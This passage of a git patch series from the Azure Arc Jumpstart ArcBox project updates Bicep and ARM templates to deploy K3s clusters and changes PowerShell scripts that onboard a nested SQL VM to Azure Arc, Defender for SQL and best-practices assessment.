longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + name: longhorn-ui + namespace: longhorn-system +spec: + replicas: 2 + selector: + matchLabels: + app: longhorn-ui + template: + metadata: + labels: + app.kubernetes.io/name: longhorn + app.kubernetes.io/instance: longhorn + app.kubernetes.io/version: v1.6.0 + app: longhorn-ui + spec: + serviceAccountName: longhorn-ui-service-account + affinity: + podAntiAffinity: + preferredDuringSchedulingIgnoredDuringExecution: + - weight: 1 + podAffinityTerm: + labelSelector: + matchExpressions: + - key: app + operator: In + values: + - longhorn-ui + topologyKey: kubernetes.io/hostname + containers: + - name: longhorn-ui + image: longhornio/longhorn-ui:v1.6.0 + imagePullPolicy: IfNotPresent + volumeMounts: + - name : nginx-cache + mountPath: /var/cache/nginx/ + - name : nginx-config + mountPath: /var/config/nginx/ + - name: var-run + mountPath: /var/run/ + ports: + - containerPort: 8000 + name: http + env: + - name: LONGHORN_MANAGER_IP + value: "http://longhorn-backend:9500" + - name: LONGHORN_UI_PORT + value: "8000" + volumes: + - emptyDir: {} + name: nginx-cache + - emptyDir: {} + name: nginx-config + - emptyDir: {} + name: var-run + priorityClassName: "longhorn-critical" +--- +# Source: longhorn/templates/validate-psp-install.yaml +# \ No newline at end of file diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 51a643c2ca..c199296e18 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -2,7 +2,7 @@ param vmName string = 'ArcBox-Client' @description('The name of the Cluster API workload cluster to be connected as an Azure Arc-enabled Kubernetes cluster') -param capiArcDataClusterName string = 'ArcBox-CAPI-Data' +param k3sArcDataClusterName string = 'ArcBox-K3s-Data' @description('Username for the Virtual Machine') param windowsAdminUsername string = 'arcdemo' @@ -102,6 +102,9 @@ param aksdrArcClusterName string = 'ArcBox-AKS-DR-Data' @description('Domain name for the jumpstart environment') param addsDomainName string = 'jumpstart.local' +@description('The custom location RPO ID') +param customLocationRPOID string + var bastionName = 'ArcBox-Bastion' var publicIpAddressName = deployBastion == false ? '${vmName}-PIP' : '${bastionName}-PIP' @@ -206,7 +209,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = fileUris: [ uri(templateBaseUrl, 'artifacts/Bootstrap.ps1') ] - commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -capiArcDataClusterName ${capiArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName}' + commandToExecute: 'powershell.exe -ExecutionPolicy Bypass -File Bootstrap.ps1 -adminUsername ${windowsAdminUsername} -adminPassword ${windowsAdminPassword} -spnClientId ${spnClientId} -spnClientSecret ${spnClientSecret} -spnTenantId ${spnTenantId} -spnAuthority ${spnAuthority} -subscriptionId ${subscription().subscriptionId} -resourceGroup ${resourceGroup().name} -azdataUsername ${azdataUsername} -azdataPassword ${azdataPassword} -acceptEula ${acceptEula} -registryUsername ${registryUsername} -registryPassword ${registryPassword} -arcDcName ${arcDcName} -azureLocation ${location} -mssqlmiName ${mssqlmiName} -POSTGRES_NAME ${postgresName} -POSTGRES_WORKER_NODE_COUNT ${postgresWorkerNodeCount} -POSTGRES_DATASIZE ${postgresDatasize} -POSTGRES_SERVICE_TYPE ${postgresServiceType} -stagingStorageAccountName ${stagingStorageAccountName} -workspaceName ${workspaceName} -templateBaseUrl ${templateBaseUrl} -flavor ${flavor} -k3sArcDataClusterName ${k3sArcDataClusterName} -k3sArcClusterName ${k3sArcClusterName} -aksArcClusterName ${aksArcClusterName} -aksdrArcClusterName ${aksdrArcClusterName} -githubUser ${githubUser} -vmAutologon ${vmAutologon} -rdpPort ${rdpPort} -addsDomainName ${addsDomainName} -customLocationRPOID ${customLocationRPOID}' } } } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep index dc0cf1ad5c..ba5e3b8f0b 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/aks.bicep @@ -50,7 +50,7 @@ param enableRBAC bool = true param osType string = 'Linux' @description('The version of Kubernetes') -param kubernetesVersion string = '1.26.6' +param kubernetesVersion string = '1.27.9' var serviceCidr_primary = '10.20.64.0/19' var dnsServiceIP_primary = '10.20.64.10' diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep index 342a423213..7943d98335 100644 --- a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancher.bicep @@ -49,35 +49,28 @@ param templateBaseUrl string @description('Choice to deploy Bastion to connect to the client VM') param deployBastion bool = false +@description('Storage account container name for artifacts') +param storageContainerName string + +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'Full' + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string + var publicIpAddressName = '${vmName}-PIP' var networkInterfaceName = '${vmName}-NIC' var osDiskType = 'Premium_LRS' -var PublicIPNoBastion = { - id: publicIpAddress.id -} - - -resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { - name: networkInterfaceName - location: azureLocation - properties: { - ipConfigurations: [ - { - name: 'ipconfig1' - properties: { - subnet: { - id: subnetId - } - privateIPAllocationMethod: 'Dynamic' - publicIPAddress: deployBastion== false ? PublicIPNoBastion : null - } - } - ] - } -} +var k3sControlPlane = 'true' // deploy single-node k3s control plane +var diskSize = (flavor == 'DataOps') ? 512 : 64 +var numberOfIPAddresses = (flavor == 'DataOps') ? 7 : 5 // The number of IP addresses to create -resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(deployBastion == false){ - name: publicIpAddressName +// Create multiple public IP addresses if deployBastion is false +resource publicIpAddresses 'Microsoft.Network/publicIpAddresses@2022-01-01' = [for i in range(1, numberOfIPAddresses): { + name: '${publicIpAddressName}${i}' location: azureLocation properties: { publicIPAllocationMethod: 'Static' @@ -87,12 +80,36 @@ resource publicIpAddress 'Microsoft.Network/publicIpAddresses@2022-01-01' = if(d sku: { name: 'Basic' } +}] + +// Create multiple NIC IP configurations and assign the public IP to the IP configuration if deployBastion is false +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [for i in range(1, numberOfIPAddresses): { + name: 'ipconfig${i}' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + publicIPAddress: { + id: publicIpAddresses[i-1].id + } + primary: i == 1 ? true : false + } + }] + } } resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { name: vmName location: azureLocation tags: resourceTags + identity: { + type: 'SystemAssigned' + } properties: { hardwareProfile: { vmSize: vmSize @@ -105,6 +122,7 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { managedDisk: { storageAccountType: osDiskType } + diskSizeGB: diskSize } imageReference: { publisher: 'canonical' @@ -138,6 +156,16 @@ resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { } } +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { parent: vm name: 'installscript_k3s' @@ -149,10 +177,13 @@ resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-0 autoUpgradeMinorVersion: true settings: {} protectedSettings: { - commandToExecute: 'bash installK3s.sh ${adminUsername} ${spnClientId} ${spnClientSecret} ${spnTenantId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${deployBastion}' + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName} ${k3sControlPlane}' fileUris: [ '${templateBaseUrl}artifacts/installK3s.sh' ] } } + dependsOn: [ + vmRoleAssignment_Owner + ] } diff --git a/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep new file mode 100644 index 0000000000..a351cedcc3 --- /dev/null +++ b/azure_jumpstart_arcbox/bicep/kubernetes/ubuntuRancherNodes.bicep @@ -0,0 +1,164 @@ +@description('The name of you Virtual Machine') +param vmName string = 'ArcBox-K3s-Node' + +@description('Username for the Virtual Machine') +param adminUsername string = 'arcdemo' + +@description('SSH Key for the Virtual Machine. SSH key is recommended over password') +@secure() +param sshRSAPublicKey string + +@description('The Ubuntu version for the VM. This will pick a fully patched image of this given Ubuntu version') +@allowed([ + '22_04-lts-gen2' +]) +param ubuntuOSVersion string = '22_04-lts-gen2' + +@description('Location for all resources.') +param azureLocation string = resourceGroup().location + +@description('Resource Id of the subnet in the virtual network') +param subnetId string + +param resourceTags object = { + Project: 'jumpstart_arcbox' +} + +@description('Azure service principal client id') +param spnClientId string + +@description('Azure service principal client secret') +@secure() +param spnClientSecret string + +@description('Azure AD tenant id for your service principal') +param spnTenantId string + +@description('Name for the staging storage account using to hold kubeconfig. This value is passed into the template as an output from mgmtStagingStorage.json') +param stagingStorageAccountName string + +@description('Name of the Log Analytics workspace used with cluster extensions') +param logAnalyticsWorkspace string + +@description('The base URL used for accessing artifacts and automation artifacts') +param templateBaseUrl string + +@description('The flavor of ArcBox you want to deploy. Valid values are: \'Full\', \'ITPro\'') +@allowed([ + 'Full' + 'ITPro' + 'DevOps' + 'DataOps' +]) +param flavor string + +@description('Storage account container name for artifacts') +param storageContainerName string + +var networkInterfaceName = '${vmName}-NIC' +var osDiskType = 'Premium_LRS' +var vmSize = (flavor == 'DevOps') ? 'Standard_B2ms' : 'Standard_B8ms' +var diskSize = (flavor == 'DataOps') ? 512 : 64 + +resource networkInterface 'Microsoft.Network/networkInterfaces@2022-01-01' = { + name: networkInterfaceName + location: azureLocation + properties: { + ipConfigurations: [ + { + name: 'ipconfig1' + properties: { + subnet: { + id: subnetId + } + privateIPAllocationMethod: 'Dynamic' + } + } + ] + } +} + +resource vm 'Microsoft.Compute/virtualMachines@2022-03-01' = { + name: vmName + location: azureLocation + tags: resourceTags + identity: { + type: 'SystemAssigned' + } + properties: { + hardwareProfile: { + vmSize: vmSize + } + storageProfile: { + osDisk: { + name: '${vmName}-OSDisk' + caching: 'ReadWrite' + createOption: 'FromImage' + managedDisk: { + storageAccountType: osDiskType + } + diskSizeGB: diskSize + } + imageReference: { + publisher: 'canonical' + offer: '0001-com-ubuntu-server-jammy' + sku: ubuntuOSVersion + version: 'latest' + } + } + networkProfile: { + networkInterfaces: [ + { + id: networkInterface.id + } + ] + } + osProfile: { + computerName: vmName + adminUsername: adminUsername + linuxConfiguration: { + disablePasswordAuthentication: true + ssh: { + publicKeys: [ + { + path: '/home/${adminUsername}/.ssh/authorized_keys' + keyData: sshRSAPublicKey + } + ] + } + } + } + } +} + +// Add role assignment for the VM: Owner role +resource vmRoleAssignment_Owner 'Microsoft.Authorization/roleAssignments@2022-04-01' = { + name: guid(vm.id, 'Microsoft.Authorization/roleAssignments', 'Owner') + scope: resourceGroup() + properties: { + principalId: vm.identity.principalId + roleDefinitionId: resourceId('Microsoft.Authorization/roleDefinitions', '8e3af657-a8ff-443c-a75c-2fe8c4bcb635') + } +} + +resource vmInstallscriptK3s 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = { + parent: vm + name: 'installscript_k3s' + location: azureLocation + properties: { + publisher: 'Microsoft.Azure.Extensions' + type: 'CustomScript' + typeHandlerVersion: '2.1' + autoUpgradeMinorVersion: true + settings: {} + protectedSettings: { + commandToExecute: 'bash installK3s.sh ${adminUsername} ${subscription().subscriptionId} ${vmName} ${azureLocation} ${stagingStorageAccountName} ${logAnalyticsWorkspace} ${templateBaseUrl} ${storageContainerName}' + fileUris: [ + '${templateBaseUrl}artifacts/installK3s.sh' + ] + } + } + dependsOn: [ + vmRoleAssignment_Owner + ] +} diff --git a/azure_jumpstart_arcbox/bicep/main.bicep b/azure_jumpstart_arcbox/bicep/main.bicep index 5287d63ee8..abee87be15 100644 --- a/azure_jumpstart_arcbox/bicep/main.bicep +++ b/azure_jumpstart_arcbox/bicep/main.bicep @@ -60,15 +60,18 @@ param guid string = substring(newGuid(),0,4) @description('Azure location to deploy all resources') param location string = resourceGroup().location -var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' +@description('The custom location RPO ID') +param customLocationRPOID string -var capiArcDataClusterName = 'ArcBox-CAPI-Data-${guid}' -var k3sArcDataClusterName = 'ArcBox-K3s-${guid}' +var templateBaseUrl = 'https://raw.githubusercontent.com/${githubAccount}/azure_arc/${githubBranch}/azure_jumpstart_arcbox/' var aksArcDataClusterName = 'ArcBox-AKS-Data-${guid}' var aksDrArcDataClusterName = 'ArcBox-AKS-DR-Data-${guid}' +var k3sArcDataClusterName = 'ArcBox-DataSvc-K3s-${guid}' +var k3sArcClusterName = 'ArcBox-K3s-${guid}' +var k3sClusterNodesCount = 3 // Number of nodes to deploy in the K3s cluster -module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { - name: 'ubuntuCAPIDeployment' +module ubuntuRancherK3sDataSvcDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcDeployment' params: { sshRSAPublicKey: sshRSAPublicKey spnClientId: spnClientId @@ -80,16 +83,35 @@ module ubuntuCAPIDeployment 'kubernetes/ubuntuCapi.bicep' = if (flavor == 'Full' subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion azureLocation: location + vmName : k3sArcDataClusterName + storageContainerName: toLower(k3sArcDataClusterName) flavor: flavor - capiArcDataClusterName : capiArcDataClusterName + } +} + +module ubuntuRancherK3sDataSvcNodesDeployment 'kubernetes/ubuntuRancherNodes.bicep' = [for i in range(0, k3sClusterNodesCount): if (flavor == 'Full' || flavor == 'DataOps') { + name: 'ubuntuRancherK3sDataSvcNodesDeployment-${i}' + params: { + sshRSAPublicKey: sshRSAPublicKey + spnClientId: spnClientId + spnClientSecret: spnClientSecret + spnTenantId: spnTenantId + stagingStorageAccountName: stagingStorageAccountDeployment.outputs.storageAccountName + logAnalyticsWorkspace: logAnalyticsWorkspaceName + templateBaseUrl: templateBaseUrl + subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId + azureLocation: location + flavor: flavor + vmName : '${k3sArcDataClusterName}-Node-0${i}' + storageContainerName: toLower(k3sArcDataClusterName) } dependsOn: [ - updateVNetDNSServers + ubuntuRancherK3sDataSvcDeployment ] -} +}] -module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { - name: 'ubuntuRancherDeployment' +module ubuntuRancherK3sDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == 'Full' || flavor == 'DevOps') { + name: 'ubuntuRancherK3sDeployment' params: { sshRSAPublicKey: sshRSAPublicKey spnClientId: spnClientId @@ -101,7 +123,9 @@ module ubuntuRancherDeployment 'kubernetes/ubuntuRancher.bicep' = if (flavor == subnetId: mgmtArtifactsAndPolicyDeployment.outputs.subnetId deployBastion: deployBastion azureLocation: location - vmName : k3sArcDataClusterName + vmName : k3sArcClusterName + storageContainerName: toLower(k3sArcClusterName) + flavor: flavor } } @@ -122,13 +146,14 @@ module clientVmDeployment 'clientVm/clientVm.bicep' = { deployBastion: deployBastion githubUser: githubUser location: location - k3sArcClusterName : k3sArcDataClusterName - capiArcDataClusterName : capiArcDataClusterName + k3sArcDataClusterName : k3sArcDataClusterName + k3sArcClusterName : k3sArcClusterName aksArcClusterName : aksArcDataClusterName aksdrArcClusterName : aksDrArcDataClusterName vmAutologon: vmAutologon rdpPort: rdpPort addsDomainName: addsDomainName + customLocationRPOID: customLocationRPOID } dependsOn: [ updateVNetDNSServers From 16aebf8083f7f91df46fa211c57bf1d03ab177d2 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Fri, 14 Jun 2024 10:27:36 -0400 Subject: [PATCH 150/456] Update clientVm.json --- azure_jumpstart_arcbox/ARM/clientVm/clientVm.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json index 10ad970092..87839f663c 100644 --- a/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json +++ b/azure_jumpstart_arcbox/ARM/clientVm/clientVm.json @@ -248,7 +248,7 @@ "id": "[variables('subnetRef')]" }, "privateIPAllocationMethod": "Dynamic", - "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),null)]" + "publicIpAddress": "[if(not(parameters('deployBastion')),variables('PublicIPNoBastion'),json('null'))]" } } ] From 1ee14d4501e8e0391a2ffcb7337dbdc215970b99 Mon Sep 17 00:00:00 2001 From: Venkata Chintala <29983008+chintalavr@users.noreply.github.com> Date: Wed, 19 Jun 2024 13:09:03 -0400 Subject: [PATCH 151/456] Fixed SQL deployment issues --- .../artifacts/ArcServersLogonScript.ps1 | 196 +-- .../artifacts/Bootstrap.ps1 | 40 +- .../SqlAdvancedThreatProtectionShell.psm1 | 1155 +++++++++++++++++ .../artifacts/defendersqldcrtemplate.json | 42 + .../artifacts/testDefenderForSQL.ps1 | 22 +- 5 files changed, 1319 insertions(+), 136 deletions(-) create mode 100644 azure_jumpstart_arcbox/artifacts/SqlAdvancedThreatProtectionShell.psm1 create mode 100644 azure_jumpstart_arcbox/artifacts/defendersqldcrtemplate.json diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index e5bda2bc63..d743e1da72 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -125,7 +125,7 @@ if ($Env:flavor -ne "DevOps") { az config set extension.use_dynamic_install=yes_without_prompt --only-show-errors - @("ssh","log-analytics-solution","connectedmachine") | + @("ssh","log-analytics-solution","connectedmachine", "monitor-control-service") | ForEach-Object -Parallel { az extension add --name $PSItem --yes --only-show-errors } @@ -145,6 +145,10 @@ if ($Env:flavor -ne "DevOps") { } # Enable defender for cloud for SQL Server + # Get workspace information + $workspaceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "customerId" -o tsv) + $workspaceResourceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "id" -o tsv) + # Verify existing plan and update accordingly $currentsqlplan = (az security pricing show -n SqlServerVirtualMachines --subscription $subscriptionId | ConvertFrom-Json) if ($currentsqlplan.pricingTier -eq "Free") { @@ -154,21 +158,12 @@ if ($Env:flavor -ne "DevOps") { # Set defender for cloud log analytics workspace Write-Header "Updating Log Analytics workspacespace for defender for cloud for SQL Server" - az security workspace-setting create -n default --target-workspace "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.OperationalInsights/workspaces/$env:workspaceName" --only-show-errors + az security workspace-setting create -n default --target-workspace $workspaceResourceID --only-show-errors } else { Write-Header "Current Defender for SQL plan is $($currentsqlplan.pricingTier)" } - # Deploy SQLAdvancedThreatProtection solution to support Defender for SQL - Write-Host "Deploying SQLAdvancedThreatProtection solution to support Defender for SQL server." - $extExists = $false - $extensionList = az monitor log-analytics solution list --resource-group $resourceGroup | ConvertFrom-Json - foreach ($extension in $extensionList.value) { if ($extension.Name -match "SQLAdvancedThreatProtection") { $extExists = $true; break; } } - if (!$extExists) { - az monitor log-analytics solution create --resource-group $resourceGroup --solution-type SQLAdvancedThreatProtection --workspace $Env:workspaceName --only-show-errors --no-wait - } - # Before deploying ArcBox SQL set resource group tag ArcSQLServerExtensionDeployment=Disabled to opt out of automatic SQL onboarding az tag create --resource-id "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup" --tags ArcSQLServerExtensionDeployment=Disabled @@ -200,7 +195,7 @@ if ($Env:flavor -ne "DevOps") { # Copy installation script to nested Windows VMs Write-Output "Transferring installation script to nested Windows VMs..." - Copy-VMFile $SQLvmName -SourcePath "$agentScript\installArcAgentSQLSP.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgentSQL.ps1" -CreateFullPath -FileSource Host -Force + Copy-VMFile $SQLvmName -SourcePath "$agentScript\installArcAgent.ps1" -DestinationPath "$Env:ArcBoxDir\installArcAgent.ps1" -CreateFullPath -FileSource Host -Force Write-Header "Onboarding Arc-enabled servers" @@ -209,35 +204,73 @@ if ($Env:flavor -ne "DevOps") { $accessToken = (Get-AzAccessToken).Token Invoke-Command -VMName $SQLvmName -ScriptBlock { powershell -File $Using:nestedVMArcBoxDir\installArcAgent.ps1 -accessToken $using:accessToken, -spnTenantId $Using:spnTenantId, -subscriptionId $Using:subscriptionId, -resourceGroup $Using:resourceGroup, -azureLocation $Using:azureLocation } -Credential $winCreds - # Install Log Analytics extension to support Defender for SQL - $mmaExtension = az connectedmachine extension list --machine-name $SQLvmName --resource-group $resourceGroup --query "[?name=='MicrosoftMonitoringAgent']" | ConvertFrom-Json - if ($mmaExtension.Count -le 0) { - # Get workspace information - $workspaceID = (az monitor log-analytics workspace show --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "customerId" -o tsv) - $workspaceKey = (az monitor log-analytics workspace get-shared-keys --resource-group $resourceGroup --workspace-name $Env:workspaceName --query "primarySharedKey" -o tsv) + # Wait for the Arc-enabled server installation to be completed + $retryCount = 0 + do + { + $ArcServer = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup + if (($null -ne $ArcServer) -and ($ArcServer.ProvisioningState -eq "Succeeded")) { + Write-Host "Onboarding the nested SQL VM as Azure Arc-enabled server successful." + $azConnectedMachineId = $ArcServer.Id + break; + } + else { + $retryCount = $retryCount + 1 + if ($retryCount -gt 5) { + Write-Host "WARNING: Timeout exceeded for onboarding nested SQL VM as Azure Arc-enabled server ... Retry count: $retryCount." + Exit + } + else { + Write-Host "Waiting for onboarding nested SQL VM as Azure Arc-enabled server ... Retry count: $retryCount" + Start-Sleep(30) + } + } + } while($retryCount -le 5) + + # Create SQL server extension as policy to auto deployment is disabled + az connectedmachine extension create --machine-name $SQLvmName --name "WindowsAgent.SqlServer" --resource-group $resourceGroup --type "WindowsAgent.SqlServer" --publisher "Microsoft.AzureData" --settings '{\"LicenseType\":\"Paid\", \"SqlManagement\": {\"IsEnabled\":true}}' - Write-Host "Deploying Microsoft Monitoring Agent to test Defender for SQL." - az connectedmachine extension create --machine-name $SQLvmName --name "MicrosoftMonitoringAgent" --settings "{'workspaceId':'$workspaceID'}" --protected-settings "{'workspaceKey':'$workspaceKey'}" --resource-group $resourceGroup --type-handler-version "1.0.18067.0" --type "MicrosoftMonitoringAgent" --publisher "Microsoft.EnterpriseCloud.Monitoring" --no-wait - Write-Host "Microsoft Monitoring Agent deployment initiated." - } + $retryCount = 0 + do { + # Verify if Arc-enabled server and SQL server extensions are installed + $sqlExtension = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'WindowsAgent.SqlServer'} + if ($sqlExtension -and ($sqlExtension.ProvisioningState -eq "Succeeded")) { + # SQL server extension is installed and ready to run SQL BPA + Write-Host "SQL server extension is installed and ready to run SQL BPA." + break; + } + else { + # Arc SQL Server extension is not installed or still in progress. + $retryCount = $retryCount + 1 + if ($retryCount -gt 5) { + Write-Host "WARNING: Timeout exceeded installing SQL server extension. Retry count: $retryCount." + Exit + } + else { + Write-Host "Waiting for SQL server extension installation ... Retry count: $retryCount" + Start-Sleep(30) + } + } + } while($retryCount -le 5) # Azure Monitor Agent extension is deployed automatically using Azure Policy. Wait until extension status is Succeded. $retryCount = 0 do { - Start-Sleep(60) $amaExtension = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'AzureMonitorWindowsAgent'} if ($amaExtension.StatusCode -eq 0) { Write-Host "Azure Monitoring Agent extension installation complete." break } - - $retryCount = $retryCount + 1 - Write-Host "Waiting for Azure Monitoring Agent extension installation to complete ... Retry count: $retryCount" - - if ($retryCount -gt 5) { - Write-Host "WARNING: Azure Monitor Agent extenstion is taking longger than expected. Enable SQL BPA later through Azure portal." + else { + $retryCount = $retryCount + 1 + Write-Host "Waiting for Azure Monitoring Agent extension installation to complete ... Retry count: $retryCount" + Start-Sleep(60) + + if ($retryCount -gt 5) { + Write-Host "WARNING: Azure Monitor Agent extenstion is taking longger than expected. Enable SQL BPA later through Azure portal." + Exit + } } - } while ($retryCount -le 5) # Enable Best practices assessment @@ -246,75 +279,68 @@ if ($Env:flavor -ne "DevOps") { # Create custom log analytics table for SQL assessment az monitor log-analytics workspace table create --resource-group $resourceGroup --workspace-name $Env:workspaceName -n SqlAssessment_CL --columns RawData=string TimeGenerated=datetime --only-show-errors - # Verify if Arc-enabled server and SQL server extensions are installed - $ArcServer = Get-AzConnectedMachine -Name $SQLvmName -ResourceGroupName $resourceGroup - if ($ArcServer) { - $sqlExtension = $ArcServer | Select-Object -ExpandProperty Resource | Where-Object {$PSItem.Name -eq 'WindowsAgent.SqlServer'} - if ($sqlExtension) { - # SQL server extension is installed and ready to run SQL BPA - Write-Host "SQL server extension is installed and ready to run SQL BPA." - } - else { - # Arc SQL Server extension is not installed or still in progress. - Write-Host "SQL server extension is not installed and can't run SQL BPA." - Exit - } - } - else { - # ArcBox-SQL Arc-enabled server resource not found - Write-Host "ArcBox-SQL Arc-enabled server resource not found. Re-run onboard script to fix this issue." - Exit - } + # Verify if ArcBox SQL resource is created + Write-Host "Enabling SQL server best practices assessment" + $bpaDeploymentTemplateUrl = "$Env:templateBaseUrl/artifacts/sqlbpa.json" + az deployment group create --resource-group $resourceGroup --template-uri $bpaDeploymentTemplateUrl --parameters workspaceName=$Env:workspaceName vmName=$SQLvmName arcSubscriptionId=$subscriptionId + # Run Best practices assessment + Write-Host "Execute SQL server best practices assessment" - # Verify if ArcBox SQL resource is created - $arcSQLStatus = az resource list --resource-group $resourceGroup --query "[?type=='Microsoft.AzureArcData/SqlServerInstances'].[provisioningState]" -o tsv - if ($arcSQLStatus -ne "Succeeded"){ - Write-Host "WARNING: ArcBox-SQL Arc-enabled server resource not found. Wait for the resource to be created and follow troubleshooting guide to run assessment manually." + # Wait for a minute to finish everyting and run assessment + Start-Sleep(60) + + # Get access token to make ARM REST API call for SQL server BPA + $armRestApiEndpoint = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer?api-version=2019-08-02-preview" + $token = (az account get-access-token --subscription $subscriptionId --query accessToken --output tsv) + $headers = @{"Authorization" = "Bearer $token"; "Content-Type" = "application/json" } + + # Build API request payload + $worspaceResourceId = "/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/microsoft.operationalinsights/workspaces/$Env:workspaceName".ToLower() + $sqlExtensionId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer" + $sqlbpaPayloadTemplate = "$Env:templateBaseUrl/artifacts/sqlbpa.payload.json" + $settingsSaveTime = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() + $apiPayload = (Invoke-WebRequest -Uri $sqlbpaPayloadTemplate).Content -replace '{{RESOURCEID}}', $sqlExtensionId -replace '{{LOCATION}}', $azureLocation -replace '{{WORKSPACEID}}', $worspaceResourceId -replace '{{SAVETIME}}', $settingsSaveTime + + # Call REST API to run best practices assessment + 